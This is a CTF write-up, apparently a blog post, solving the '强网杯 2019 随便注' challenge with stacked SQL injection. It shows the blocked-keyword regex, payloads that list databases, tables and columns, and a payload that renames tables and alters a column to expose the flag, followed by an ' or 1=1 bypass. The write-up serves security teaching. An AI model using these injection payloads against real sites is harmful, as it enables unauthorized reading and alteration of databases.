[强网杯 2019]随便注 1

[强网杯 2019]随便注 1

在这里插入图片描述

  • 经过常规操作 order by,select 后发现
return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);

select,update,delete,drop,insert,where,. 被正则过滤了

  • 之后尝试堆叠注入
?inject=1';show databases;--+
# 可以爆出数据库,发现有个数据库是ctftraining

# 再查看表,发现有
?inject=1';show tables;--+

在这里插入图片描述在这里插入图片描述

  • 查看表
# 查看words
?inject=1';show columns from words;--+
# words 数据,可以发现是当前页面显示的表
array(6) {
  [0]=>
  string(2) "id"
  [1]=>
  string(7) "int(10)"
  [2]=>
  string(2) "NO"
  [3]=>
  string(0) ""
  [4]=>
  NULL
  [5]=>
  string(0) ""
}

array(6) {
  [0]=>
  string(4) "data"
  [1]=>
  string(11) "varchar(20)"
  [2]=>
  string(2) "NO"
  [3]=>
  string(0) ""
  [4]=>
  NULL
  
  
  # 查看 1919810931114514
  ?inject=1';show columns from `1919810931114514`;--+
  # 发现flag
  array(6) {
  [0]=>
  string(4) "flag"
  [1]=>
  string(12) "varchar(100)"
  [2]=>
  string(2) "NO"
  [3]=>
  string(0) ""
  [4]=>
  NULL
  [5]=>
  string(0) ""
}
  • 显示flag
    页面上显示的是words的数据,我们知道rename是没有被过滤的,我们可以把1919810931114514 的表名改为wordsflag列名改为id,这样就可以在页面上显示了
# payload
?inject=1';rename table words to words1;rename table `1919810931114514` to words;alter table words change flag id varchar(100);--+
  • 最后可以通过 1’ or 1=1 来访问到flag
?inject=1' or 1=1;--+

在这里插入图片描述

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值